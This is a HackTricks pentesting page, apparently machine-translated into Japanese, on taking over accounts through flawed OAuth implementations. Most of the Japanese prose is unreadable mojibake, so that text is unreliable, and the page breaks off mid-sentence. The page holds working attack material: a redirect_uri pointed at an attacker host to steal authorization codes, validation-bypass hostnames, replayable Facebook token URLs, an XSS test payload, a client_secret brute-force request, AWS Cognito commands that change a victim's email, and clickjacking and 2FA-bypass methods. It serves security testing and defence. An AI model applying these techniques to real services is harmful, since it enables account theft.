OAuth to Account takeover
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Basic Information
OAuthã¯ããã€ãã®ããŒãžã§ã³ããããåºç€çãªæ å ±ã¯OAuth 2.0 documentationã§åç §ã§ããŸããæ¬ç« ã¯äž»ã«åºã䜿ãããŠããOAuth 2.0 authorization code grant typeã«çŠç¹ãåœãŠãããã¢ããªã±ãŒã·ã§ã³ãå¥ã®ã¢ããªã±ãŒã·ã§ã³ïŒauthorization serverïŒäžã®ãŠãŒã¶ãŒã®ã¢ã«ãŠã³ãã«ã¢ã¯ã»ã¹ãããæäœãè¡ã£ããã§ããããã«ããèªå¯ãã¬ãŒã ã¯ãŒã¯ã説æããŸãã
ä»®ã«ããªãã®å šãŠã®ãœãŒã·ã£ã«ã¡ãã£ã¢ã®æçš¿ïŒéå ¬éã®ãã®ãå«ãïŒã衚瀺ããããã®ãµã€ããšã㊠https://example.com ããããšããŸãããã®ç®çã®ããã« OAuth 2.0 ã䜿ãããŸããhttps://example.com ã¯ããªãã®ãœãŒã·ã£ã«ã¡ãã£ã¢æçš¿ãžã®ã¢ã¯ã»ã¹èš±å¯ãæ±ããŸãããã®çµæãhttps://socialmedia.com äžã«åæç»é¢ã衚瀺ãããèŠæ±ãããŠããæš©éãšèŠæ±ãè¡ã£ãŠããéçºè ã瀺ãããŸããããªããèš±å¯ãããšãhttps://example.com ã¯ããªãã«ä»£ãã£ãŠæçš¿ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã
OAuth 2.0 ãã¬ãŒã ã¯ãŒã¯å ã®ä»¥äžã®æ§æèŠçŽ ãçè§£ããããšãéèŠã§ã:
- resource owner: ããªããã€ãŸããªãœãŒã¹ïŒäŸ: ãœãŒã·ã£ã«ã¡ãã£ã¢ã¢ã«ãŠã³ãã®æçš¿ïŒãžã®ã¢ã¯ã»ã¹ãèš±å¯ãããŠãŒã¶ãŒ/äž»äœã
- resource server: ã¢ããªã±ãŒã·ã§ã³ã
access tokenãååŸããåŸã«èªèšŒããããªã¯ãšã¹ããæ±ããµãŒããäŸ: https://socialmedia.comã - client application:
resource ownerããã®èªå¯ãæ±ããã¢ããªã±ãŒã·ã§ã³ãäŸ: https://example.comã - authorization server:
resource ownerã®èªèšŒãšèªå¯ãåããŠaccess tokensãçºè¡ãããµãŒããäŸ: https://socialmedia.comã - client_id: ã¢ããªã±ãŒã·ã§ã³ã®å ¬éãããäžæã®èå¥åã
- client_secret: ã¢ããªã±ãŒã·ã§ã³ãšauthorization serverã ããç¥ãæ©å¯ããŒã§ã
access_tokensãååŸããããã«äœ¿ãããã - response_type:
codeã®ããã«ãèŠæ±ããããŒã¯ã³ã®çš®é¡ãæå®ããå€ã - scope:
client applicationãresource ownerã«å¯ŸããŠèŠæ±ããã¢ã¯ã»ã¹ã®ç¯å²ã - redirect_uri: èªå¯åŸã«ãŠãŒã¶ãŒããªãã€ã¬ã¯ããããURLãéåžžã¯äºåã«ç»é²ããããªãã€ã¬ã¯ãURLãšäžèŽããå¿ èŠãããã
- state: ãŠãŒã¶ãŒãauthorization serverãžãªãã€ã¬ã¯ããããŠæ»ãéã®ããŒã¿ãä¿æããããã®ãã©ã¡ãŒã¿ãäžææ§ãéèŠã§ãCSRFä¿è·ã®ä»çµã¿ãšããŠæ©èœããã
- grant_type: ã°ã©ã³ãã¿ã€ãããã³è¿ãããããŒã¯ã³ã®çš®é¡ã瀺ããã©ã¡ãŒã¿ã
- code: authorization serverããã®èªå¯ã³ãŒãã§ãclient applicationã
client_idãšclient_secretãšãšãã«access_tokenãååŸããããã«äœ¿çšããã - access_token:
client applicationãresource ownerã«ä»£ãã£ãŠAPIãªã¯ãšã¹ããè¡ãããã«äœ¿ãããŒã¯ã³ã - refresh_token: ãŠãŒã¶ãŒã«å床ããã³ããããããšãªãæ°ãã
access_tokenãååŸã§ããããã«ããã
Flow
å®éã® OAuth ãããŒã¯æ¬¡ã®ããã«é²ã¿ãŸã:
- ããªã㯠https://example.com ã«ã¢ã¯ã»ã¹ãããIntegrate with Social Mediaããã¿ã³ãã¯ãªãã¯ããŸãã
- ãµã€ãã¯æ¬¡ã« https://socialmedia.com ã«å¯ŸããŠãhttps://example.com ã®ã¢ããªãããªãã®æçš¿ã«ã¢ã¯ã»ã¹ããèš±å¯ãæ±ãããªã¯ãšã¹ããéããŸãããªã¯ãšã¹ãã¯æ¬¡ã®ããã«æ§æãããŠããŸã:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- 次ã«åæããŒãžã衚瀺ãããŸãã
- æ¿èªãããšãSocial Mediaã¯
redirect_uriã«codeãšstateãã©ã¡ãŒã¿ãå«ãã¬ã¹ãã³ã¹ãéä¿¡ããŸã:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com ã¯ãã®
codeãclient_idãšclient_secretãšãšãã«äœ¿çšããŠãããªãã«ä»£ãã£ãŠaccess_tokenãååŸããããã®ãµãŒããŒãµã€ããªã¯ãšã¹ããè¡ããããªããåæããæš©éãžã®ã¢ã¯ã»ã¹ãå¯èœã«ããŸã:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Finally, the process concludes as https://example.com employs your
access_tokento make an API call to Social Media to access
è匱æ§
Open redirect_uri
Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victimâs code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.
Typical attack workflow:
- Craft
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackand send it to the victim. - The victim authenticates and approves the scopes.
- The IdP redirects to
attacker.tld/callback?code=<victim-code>&state=...where the attacker logs the request and immediately exchanges the code.
Common validation bugs to probe:
- No validation â any absolute URL is accepted, resulting in instant code theft.
- Weak substring/regex checks on the host â bypass with lookalikes such as
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, ormatch.com@evil.com. - IDN homograph mismatches â validation happens on the punycode form (
xn--), but the browser redirects to the Unicode domain controlled by the attacker. - Arbitrary paths on an allowed host â pointing
redirect_urito/openredirect?next=https://attacker.tldor any XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript. - Directory constraints without normalization â patterns like
/oauth/*can be bypassed with/oauth/../anything. - Wildcard subdomains â accepting
*.example.commeans any takeover (dangling DNS, S3 bucket, etc.) immediately yields a valid callback. - Non-HTTPS callbacks â letting
http://URIs through gives network attackers (Wi-Fi, corporate proxy) the opportunity to snatch the code in transit.
Also review auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) and the OpenID discovery document (/.well-known/openid-configuration) for additional endpoints that might inherit the same validation bugs.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Locking redirect_uri to âowned/first-party domainsâ doesnât help if any allowlisted domain exposes attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow returns tokens in the URL (query or hash), an attacker can:
- Start a legitimate flow to mint a pre-token (e.g., an
etokenin a multi-step Accounts Center/FXAuth flow). - Send the victim an authorization URL that sets the allowlisted domain as
redirect_uri/base_uribut pointsnext/path into an attacker-controlled namespace (e.g.,https://apps.facebook.com/<attacker_app>). - After the victim approves, the IdP redirects to the attacker-controlled path with sensitive values in the URL (
token,blob, codes, etc.). - JavaScript on that page reads
window.locationand exfiltrates the values despite the domain being âtrusted.â - Replay the captured values against downstream privileged endpoints that only expect the redirect-carried tokens. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
ãªãã€ã¬ã¯ãå®è£ ã«ããã XSS
ãã® bug bounty ã¬ããŒã https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html ã«èšèŒãããŠããããã«ããŠãŒã¶ãèªèšŒããåŸã«ãµãŒãã®ã¬ã¹ãã³ã¹ã« redirect URL ãåæ ããã å¯èœæ§ããããXSS ã«è匱 ãšãªãããšããããŸãããã¹ãçšã®å¯èœãª payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - state ãã©ã¡ãŒã¿ã®äžé©åãªåŠç
state ãã©ã¡ãŒã¿ã¯ Authorization Code ãããŒã® CSRF ããŒã¯ã³ã§ãïŒã¯ã©ã€ã¢ã³ãã¯ãã©ãŠã¶ããšã«æå·åŠçã«ã©ã³ãã ãªå€ãçæãããã®ãã©ãŠã¶ã ããèªããå ŽæïŒcookieãlocal storage ãªã©ïŒã«ä¿åããèªå¯ãªã¯ãšã¹ãã§éä¿¡ããåãå€ãè¿ããªãå¿çã¯æåŠããªããã°ãªããŸãããå€ãéçãäºæž¬å¯èœãä»»æããŸãã¯ãŠãŒã¶ãŒã®ã»ãã·ã§ã³ã«çŽä»ããŠããªãå Žåãæ»æè
ã¯èªåã® OAuth ãããŒãå®äºããŠæçµç㪠?code= ãªã¯ãšã¹ããååïŒéä¿¡ã¯ããã«ä¿åïŒããåŸã§è¢«å®³è
ã®ãã©ãŠã¶ã«ãã®ãªã¯ãšã¹ããåçãããŠè¢«å®³è
ã¢ã«ãŠã³ããæ»æè
ã® IdP ãããã¡ã€ã«ã«çŽä»ããããšãã§ããŸãã
ãªãã¬ã€ã®ãã¿ãŒã³ã¯åžžã«åãã§ã:
- æ»æè
ã¯èªåã®ã¢ã«ãŠã³ãã§ IdP ã«èªèšŒããæåŸã®ãªãã€ã¬ã¯ãã«å«ãŸãã
codeïŒããã³ä»»æã®stateïŒãååããã - ãã®ãªã¯ãšã¹ããç Žæ£ã㊠URL ãä¿æããåŸã§ä»»æã® CSRF åå§ïŒãªã³ã¯ãiframeãèªåéä¿¡ãã©ãŒã ãªã©ïŒãæªçšããŠè¢«å®³è ãã©ãŠã¶ã«ãã® URL ãèªã¿èŸŒãŸããã
- ã¯ã©ã€ã¢ã³ãã
stateã匷å¶ããªãå Žåãã¢ããªã±ãŒã·ã§ã³ã¯æ»æè ã®èªå¯çµæãåã蟌ã¿ãæ»æè ã被害è ã®ã¢ããªã¢ã«ãŠã³ãã«ãã°ã€ã³ãããã
ãã¹ãæã® state åãæ±ãã«é¢ããå®çšçãªãã§ãã¯ãªã¹ã:
- Missing
stateentirely â ãã©ã¡ãŒã¿ããŸã£ããååšããªãå Žåããã°ã€ã³å šäœã CSRFable ã«ãªãã statenot required â åæãªã¯ãšã¹ãããstateãåé€ããïŒIdP ãããã§ãã¯ã©ã€ã¢ã³ããåãå ¥ããã³ãŒããçºè¡ãããªããé²åŸ¡ã¯ãªããã€ã³ã«ãªã£ãŠããã- Returned
statenot validated â ã¬ã¹ãã³ã¹å ã®å€ãæ¹ããããïŒBurpãMITM proxy ã䜿çšïŒãäžäžèŽã®å€ãåãå ¥ãããªããä¿åãããããŒã¯ã³ã¯æ¯èŒãããŠããªãããšãæå³ããã - Predictable or purely data-driven
stateâ å€ãã®ã¢ããªã¯ãªãã€ã¬ã¯ããã¹ã JSON ããããã©ã³ãã èŠçŽ ãæ··ããã«stateã«è©°ã蟌ã¿ãæ»æè ãæå¹ãªå€ãæšæž¬ããŠãããŒãåçã§ããããã«ããŠãããåžžã«ããŒã¿ããšã³ã³ãŒãããåã«åŒ·ãã©ã³ãã å€ãååŸã«ä»ããããšã statefixation â ã¢ããªããŠãŒã¶ãŒã«stateå€ã®äŸçµŠãèš±ãïŒäŸïŒçް工ãã authorization URL çµç±ïŒãããŒå šäœã§ãããåå©çšããå Žåãæ»æè ã¯æ¢ç¥ã®å€ãåºå®ããŠè€æ°ã®è¢«å®³è ã«åå©çšã§ããã
PKCE ã¯ïŒç¹ã« public clients ã«å¯ŸããŠïŒèªå¯ã³ãŒãã code verifier ã«çŽä»ããããšã§ state ãè£å®ã§ããŸãããweb ã¯ã©ã€ã¢ã³ãã¯äŸç¶ãšã㊠cross-user CSRF/ã¢ã«ãŠã³ãçŽä»ãã®ãã°ãé²ãããã« state ã远跡ããå¿
èŠããããŸãã
Pre Account Takeover
- Without Email Verification on Account Creation: æ»æè ã¯è¢«å®³è ã®ã¡ãŒã«ã䜿ã£ãŠäºåã«ã¢ã«ãŠã³ããäœæã§ãããåŸã§è¢«å®³è ããµãŒãããŒãã£ã®ãµãŒãã¹ã§ãã°ã€ã³ãããšãã¢ããªã±ãŒã·ã§ã³ã誀ã£ãŠãã®ãµãŒãããŒãã£ã¢ã«ãŠã³ããæ»æè ã®äºåäœæã¢ã«ãŠã³ãã«çŽä»ããç¡èš±å¯ã®ã¢ã¯ã»ã¹ãæãå¯èœæ§ãããã
- Exploiting Lax OAuth Email Verification: æ»æè ã¯ã¡ãŒã«ãæ€èšŒããªã OAuth ãµãŒãã¹ãæªçšããŠèªåã®ãµãŒãã¹ã«ç»é²ãããã®åŸã¢ã«ãŠã³ãã®ã¡ãŒã«ã被害è ã®ãã®ã«å€æŽããããšãã§ããããã®ææ³ãåæ§ã«äžæ£ã¢ã¯ã»ã¹ã®ãªã¹ã¯ãçãïŒ1ãšåæ§ã ãå¥ã®ãã¯ã¿ãŒïŒã
Disclosure of Secrets
client_id ã¯æå³çã«å
¬éããããã®ã§ãããclient_secret ã¯ãšã³ããŠãŒã¶ãŒãååã§ããŠã¯ãããŸãããmobile APKsãdesktop clientsãsingle-page apps ã«ç§å¯ãåã蟌ã Authorization Code ã®å®è£
ã¯ããã®è³æ Œæ
å ±ãããã±ãŒãžãããŠã³ããŒãã§ãã誰ã«ã§ãæž¡ããŠããŸããŸããå
¬éã¯ã©ã€ã¢ã³ãã確èªããéã¯åžžã«ä»¥äžãè¡ã£ãŠãã ãã:
- APK/IPAãdesktop installerããŸã㯠Electron app ãå±éããŠ
client_secretãJSON ã«ãã³ãŒãããã Base64 ãããããŸãã¯ããŒãã³ãŒãã£ã³ã°ããã OAuth ãšã³ããã€ã³ãã grep ããã - ãã³ãã«ãããèšå®ãã¡ã€ã«ïŒplistãJSONãXMLïŒãéã³ã³ãã€ã«ããæååãã¬ãã¥ãŒããŠã¯ã©ã€ã¢ã³ãèªèšŒæ å ±ãæ¢ãã
æ»æè
ãäžåºŠã·ãŒã¯ã¬ãããæœåºããã°ã匱ã redirect_uriããã°ãªã©ããä»»æã®è¢«å®³è
ã®èªå¯ code ãçã¿åºããæ£èŠã®ã¢ããªãä»ããã« /token ãå©ã㊠access/refresh token ãç¬èªã«çºè¡ã§ããã ãã§ããå
¬é/ãã€ãã£ãã¯ã©ã€ã¢ã³ã㯠ç§å¯ãä¿æã§ããªããã®ãšããŠæ±ã â 代ããã«éçãªã·ãŒã¯ã¬ããã®ä»£ããã«ã€ã³ã¹ã¿ã³ã¹ããšã® code verifier ãææããŠããããšã瀺ã PKCE (RFC 7636) ãå©çšããã¹ãã§ãããã¹ãäžã¯ PKCE ãå¿
é ãã©ããããŸãããã¯ãšã³ãã client_secret ãŸã㯠æå¹ãª code_verifier ã®ãããããæ¬ ãããŒã¯ã³äº€æãå®éã«æåŠãããã確èªããŠãã ããã
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
ã¯ã©ã€ã¢ã³ãã code and state ãååŸãããããã location.href ã document.referrer ã«è¡šç€ºãããŠç¬¬äžè
ãžè»¢éããããšãããã㯠leak ããŸãããããããã¿ãŒã³ã¯æ¬¡ã®2ã€ã§ãïŒ
- Classic Referer leak: OAuth ãªãã€ã¬ã¯ãåŸãURL ã«
?code=&state=ãæ®ããããªããã²ãŒã·ã§ã³ã¯ããããã CDNïŒanalyticsïŒads ã«éä¿¡ããã Referer ããããŒã«å«ããŠããŸããŸãã - Telemetry/analytics confused deputy: äžéšã® SDKïŒpixels/JS loggersïŒã¯
postMessageã€ãã³ãã«åå¿ããã¡ãã»ãŒãžã§æž¡ããã token ã䜿ã£ãŠçŸåšã®location.href/referrerãããã¯ãšã³ã API ã«éä¿¡ããŸããæ»æè ããã®ãããŒã«èªåã® token ãæ³šå ¥ã§ããã°ïŒäŸïŒæ»æè ãå¶åŸ¡ãã postMessage ãªã¬ãŒçµç±ïŒãåŸã§ SDK ã® API ãªã¯ãšã¹ãå±¥æŽïŒãã°ãèªã¿ãããã«åã蟌ãŸãã被害è ã® OAuth ã¢ãŒãã£ãã¡ã¯ããååã§ããŸãã
Access Token Stored in Browser History
Authorization Code grant ã®æ žå¿çä¿èšŒã¯ãaccess tokens ããªãœãŒã¹ææè ã®ãã©ãŠã¶ã«å±ããªãããšã§ããå®è£ ãã¯ã©ã€ã¢ã³ãåŽã§ tokens ã leak ãããšãã©ããªå°ããªãã°ïŒXSSãReferer leakããããã·ã®ãã°èšé²ïŒã§ãå³åº§ã«ã¢ã«ãŠã³ãä¹ã£åãã«ã€ãªãããŸããåžžã«æ¬¡ã確èªããŠãã ããïŒ
- Tokens in URLs â
access_tokenãã¯ãšãªããã©ã°ã¡ã³ãã«çŸãããšããã©ãŠã¶å±¥æŽããµãŒããŒãã°ãanalyticsããããŠç¬¬äžè ã«éããã Referer ããããŒã«æ®ããŸãã - Tokens transiting untrusted middleboxes â HTTP ã§è¿ããããããã°ïŒäŒæ¥ãããã·ãçµç±ããããšããããã¯ãŒã¯äžã®èŠ³æž¬è ãçŽæ¥ãã£ããã£ã§ããŸãã
- Tokens stored in JavaScript state â React/Vue ã®ã¹ãã¢ãã°ããŒãã«å€æ°ãã·ãªã¢ã©ã€ãºããã JSON ãããã¯åäžãªãªãžã³äžã®ãã¹ãŠã®ã¹ã¯ãªããïŒXSS ãã€ããŒããæªæããæ¡åŒµæ©èœãå«ãïŒã«ããŒã¯ã³ãé²åºããŸãã
- Tokens persisted in Web Storage â
localStorage/sessionStorageã«ä¿åãããããŒã¯ã³ã¯ãå ±æããã€ã¹ã§ã®ãã°ã¢ãŠãåŸãé·æéæ®ããã¹ã¯ãªããããã¢ã¯ã»ã¹å¯èœã§ãã
ãããã®ããããã®çºèŠã¯ãéåžžã¯ãäœãæ·±å»åºŠã®ãã°ïŒCSP bypass ã DOM XSS ãªã©ïŒããæ»æè ãæŒæŽ©ãã bearer token ãèªã¿åºããŠåå©çšã§ããããå®å šãª API 奪åã«ææ ŒãããŸãã
Everlasting Authorization Code
Authorization codes 㯠çåœã§ãåäžäœ¿çšã§ãreplay ãèæ
®ãã ãã®ã§ãªããã°ãªããŸããããããŒãè©äŸ¡ããéã¯ãcode ãååŸããŠæ¬¡ã詊ããŠãã ããïŒ
- Test the lifetime â RFC 6749 ã¯ååäœãæšå¥šããŠããŸãïŒæéã§ã¯ãªãïŒã5ïœ10 ååŸã« code ã亀æããŠã¿ãŠãã ããããŸã æå¹ã§ããã°ãæŒæŽ©ãã code ã®é²åºãŠã£ã³ããŠãé·ãããŸãã
- Test sequential reuse â åã
codeã2åéä¿¡ããŠã¿ãŠãã ããã2 åç®ã®ãªã¯ãšã¹ãã§å¥ã®ããŒã¯ã³ãåŸããããªããæ»æè ã¯ã»ãã·ã§ã³ãç¡éã«ã¯ããŒã³ã§ããŸãã - Test concurrent redemption/race conditions â ããŒã¯ã³ãªã¯ãšã¹ãã䞊åã§2åçºè¡ããŸãïŒBurp intruderãturbo intruder çïŒã匱ãçºè¡è ã¯äž¡æ¹ã«çºè¡ããããšããããŸãã
- Observe replay handling â åå©çšè©Šè¡ã¯åã«å€±æããã ãã§ãªãããã® code ããæ¢ã«çºè¡ãããããŒã¯ã³ãåãæ¶ãã¹ãã§ããããã§ãªããšãreplay ãæ€åºããŠãæåã®ããŒã¯ã³ãæå¹ãªãŸãŸæ®ããŸãã
replay ã«å¯å®¹ãª code ã redirect_uri ããã°èšé²ã®ãã°ãšçµã¿åããããšã被害è
ãæ£èŠãã°ã€ã³ãå®äºããåŸã§ãæ°žç¶çã«ã¢ã«ãŠã³ãã«ã¢ã¯ã»ã¹ã§ããŸãã
Authorization/Refresh Token not bound to client
ãã authorization code ãå ¥æããŠãããå¥ã® client/app ã«å¯ŸããŠäº€æïŒredeemïŒã§ãããªããä»ã®ã¢ã«ãŠã³ãã takeover ã§ããŸãã匱ããã€ã³ãã£ã³ã°ããã¹ãããæ¹æ³ïŒ
- app A çšã«ååŸãã
codeã app B ã® token endpoint ã«éã£ãŠã¿ãïŒããã§ãããŒã¯ã³ãè¿ããªã audience binding ãç Žç¶»ããŠããŸãã - èªèº«ã® client ID ã«éå®ãããã¹ã first-party ã®ããŒã¯ã³çºè¡ãšã³ããã€ã³ãã詊ãïŒããã³ãŒãã ããæ€èšŒããŠä»»æã®
state/app_idãåãå ¥ãããªããå®è³ªçã« authorization-code swap ãè¡ãããæš©éã®é«ã first-party ããŒã¯ã³ãé³é ã§ããŸãã - client ãã€ã³ãã£ã³ã°ã nonceïŒredirect URI ã®äžäžèŽãç¡èŠããã確èªããããšã©ãŒããŒãžã§ã SDK ãèªã¿èŸŒã¿
location.hrefããã°ããå ŽåãRefererïŒtelemetry ã®æŒæŽ©ãšçµã¿åãããŠã³ãŒããçã¿ãå¥ã®ã¯ã©ã€ã¢ã³ãã§äº€æã§ããŸãã
code â token ã亀æãããšã³ããã€ã³ãã¯å¿
ãçºè¡å
ã¯ã©ã€ã¢ã³ããredirect URIãnonce ãæ€èšŒããªããã°ãªããŸãããããã§ãªããšãã©ã®ã¢ããªããçãã code ã§ã first-party access token ã«ã¢ããã°ã¬ãŒãã§ããŸãã
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
ãã®ããŠã³ãã£ã¬ããŒãïŒhttps://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ïŒã§ã¯ãAWS Cognito ããŠãŒã¶ã«è¿ã token ã«ãŠãŒã¶ãŒããŒã¿ãæžãæããååãªæš©éãå«ãŸããŠããå¯èœæ§ãããããšã瀺ãããŠããŸãããããã£ãŠãããå¥ã®ãŠãŒã¶ã®ã¡ãŒã«ã¢ãã¬ã¹ã« change the user email ã§ããæäœãããã°ãä»äººã®ã¢ã«ãŠã³ãã take over ã§ããå¯èœæ§ããããŸãã
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
mentioned in this writeup ã«ããããã«ãtoken ãåãåãããšãæåŸ ããïŒcode ã§ã¯ãªãïŒOAuth ãããŒã¯ããã® token ãã¢ããªã«åž°å±ããŠãããã©ããããã§ãã¯ããŠããªãå Žåãè匱ã«ãªãåŸãŸãã
ããã¯ãæ»æè ãèªåã®ã¢ããªã§ OAuth ããµããŒãããã¢ããªã±ãŒã·ã§ã³ïŒäŸãã° Facebook ã§ã®ãã°ã€ã³ïŒãäœæãã被害è ãæ»æè ã®ã¢ããªã§ Facebook ã«ãã°ã€ã³ãããšãæ»æè ã¯ãã®ã¢ããªã«æž¡ããããŠãŒã¶ã® OAuth token ãååŸããŠã被害è ã® user token ã䜿ã£ãŠè¢«å®³è åŽã® OAuth ã¢ããªã«ãã°ã€ã³ã§ããŠããŸãå¯èœæ§ãããããã§ãã
Caution
ãããã£ãŠãæ»æè ããŠãŒã¶ãèªåã® OAuth ã¢ããªã«ãã°ã€ã³ãããããšã«æåãããšãtoken ãæåŸ ãããã® token ãèªåã® app ID ã«ä»äžããããã®ããæ€èšŒããŠããªãã¢ããªã§ã¯ã被害è ã®ã¢ã«ãŠã³ããä¹ã£åãããšãå¯èœã«ãªããŸãã
Two links & cookie
this writeup ã«ãããšãvictim ã« returnUrl ãæ»æè ã®ãã¹ããæãããŒãžãéãããããšãå¯èœã§ããã®æ å ±ã¯ cookieïŒRUïŒã«ä¿åãããåŸã®ã¹ãããã§ prompt ã衚瀺ãããŠãŠãŒã¶ã«ãã®æ»æè ãã¹ããžã®ã¢ã¯ã»ã¹ãèš±å¯ãããå°ããããã«ãªãããšããæåãå ±åãããŠããŸãã
ãã® prompt ãåé¿ããããã«ãreturnUrl ã䜿ã£ãŠ RU cookie ãèšå®ãã OAuth ãããŒãéå§ããã¿ããéããprompt ã衚瀺ãããåã«ãã®ã¿ããéãã該åœå€ã®ãªãæ°ããã¿ããéãããšããææ³ããããŸããããããšãprompt ã¯æ»æè ãã¹ãã«ã€ããŠéç¥ããŸããããcookie ã¯æ»æè ãã¹ãã«èšå®ãããŠããããããªãã€ã¬ã¯ãæã« token ãæ»æè ãã¹ãã«éä¿¡ãããŸãã
Prompt Interaction Bypass
this video ã§èª¬æãããŠããããã«ãäžéšã® OAuth å®è£
ã§ã¯ GET ãã©ã¡ãŒã¿ã® prompt ã NoneïŒ&prompt=noneïŒãšããŠæå®ããããšã§ããŠãŒã¶ãæ¢ã«ãã©ãããã©ãŒã ã«ãã°ã€ã³ããŠããå Žåã«ãŠã§ãäžã®ç¢ºèª prompt ã衚瀺ãããªãããã«ã§ããå ŽåããããŸãã
response_mode
explained in this video ã«ããããã«ãæçµç㪠URL å
ã§ code ãã©ãã§åãåããããã瀺ãããã« response_mode ãã©ã¡ãŒã¿ãæå®ã§ããããšããããŸã:
response_mode=query-> ã³ãŒã㯠GET ãã©ã¡ãŒã¿å ã«æäŸãããŸã:?code=2397rf3gu93fresponse_mode=fragment-> ã³ãŒã㯠URL ã®ãã©ã°ã¡ã³ããã©ã¡ãŒã¿å ã«æäŸãããŸã:#code=2397rf3gu93fresponse_mode=form_post-> ã³ãŒãã¯codeãšããååã® input ãæã€ POST ãã©ãŒã å ã§æäŸãããŸãresponse_mode=web_message-> ã³ãŒã㯠post message ã§éä¿¡ãããŸã:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs 㯠clickjacking ã®çæ³çãªã¿ãŒã²ããã§ã: ãã¬ãŒã åãå¯èœã§ããã°ãæ»æè ã¯ã«ã¹ã¿ã ã®ã°ã©ãã£ãã¯ãéããæ¬ç©ã®ãã¿ã³ãé ãããŠãŒã¶ãéšããŠå±éºãªã¹ã³ãŒãã®æ¿èªãã¢ã«ãŠã³ã飿ºãè¡ãããããšãã§ããŸããPoC ãäœãéã®ãã€ã³ã:
- IdP ã® authorization URL ã
<iframe sandbox="allow-forms allow-scripts allow-same-origin">å ã«èªã¿èŸŒãã - fake ãã¿ã³ãšé ãã Allow/Approve ã³ã³ãããŒã«ãæŽåãããããã«çµ¶å¯Ÿäœçœ®æå®ãäžéæåºŠã®ããªãã¯ã䜿ãã
- ãªãã·ã§ã³ã§ãã©ã¡ãŒã¿ïŒscopes, redirect URIïŒãäºåã«ã»ããããŠãããçãã æ¿èªãå³åº§ã«æ»æè ãžå©çãããããããã«ããã
ãã¹ãäžã¯ãIdP ããŒãžã X-Frame-Options: DENY/SAMEORIGIN ãŸãã¯å¶éç㪠Content-Security-Policy: frame-ancestors 'none' ãçºè¡ããŠãããã確èªããŠãã ãããã©ã¡ããååšããªãå Žåã¯ãNCC Groupâs clickjacking PoC generator ã®ãããªããŒã«ã§ãªã¹ã¯ãå®èšŒãã被害è
ãã©ãã»ã©ç°¡åã«æ»æè
ã®ã¢ããªãæ¿èªããŠããŸãããèšé²ããŠãã ããã远å ã®ãã€ããŒãæ¡ã¯ Clickjacking ãåç
§ããŠãã ããã
OAuth ROPC flow - 2 FA bypass
this blog post ã«ããã°ããã㯠username ãš password ã§ OAuth ã«ãã°ã€ã³ã§ãããããŒã§ãããã®åçŽãªãããŒã§ãŠãŒã¶ãå®è¡ã§ãããã¹ãŠã®ã¢ã¯ã·ã§ã³ã«ã¢ã¯ã»ã¹ã§ãã token ãè¿ããããšããã® token ã«ãã£ãŠ 2FA ããã€ãã¹ã§ããå¯èœæ§ããããŸãã
ATO on web page redirecting based on open redirect to referrer
ãã® blogpost ã¯ãreferrer ã®å€ãåºã«ãã open redirect ãæªçšã㊠OAuth ãçšãã ATO ãå¯èœã ã£ãäºäŸã説æããŠããŸããæ»æã®æµãã¯æ¬¡ã®éãã§ã:
- 被害è ãæ»æè ã®ãŠã§ãããŒãžã«ã¢ã¯ã»ã¹ãã
- 被害è
ã¯æªæã®ãããªã³ã¯ãéããopener ã
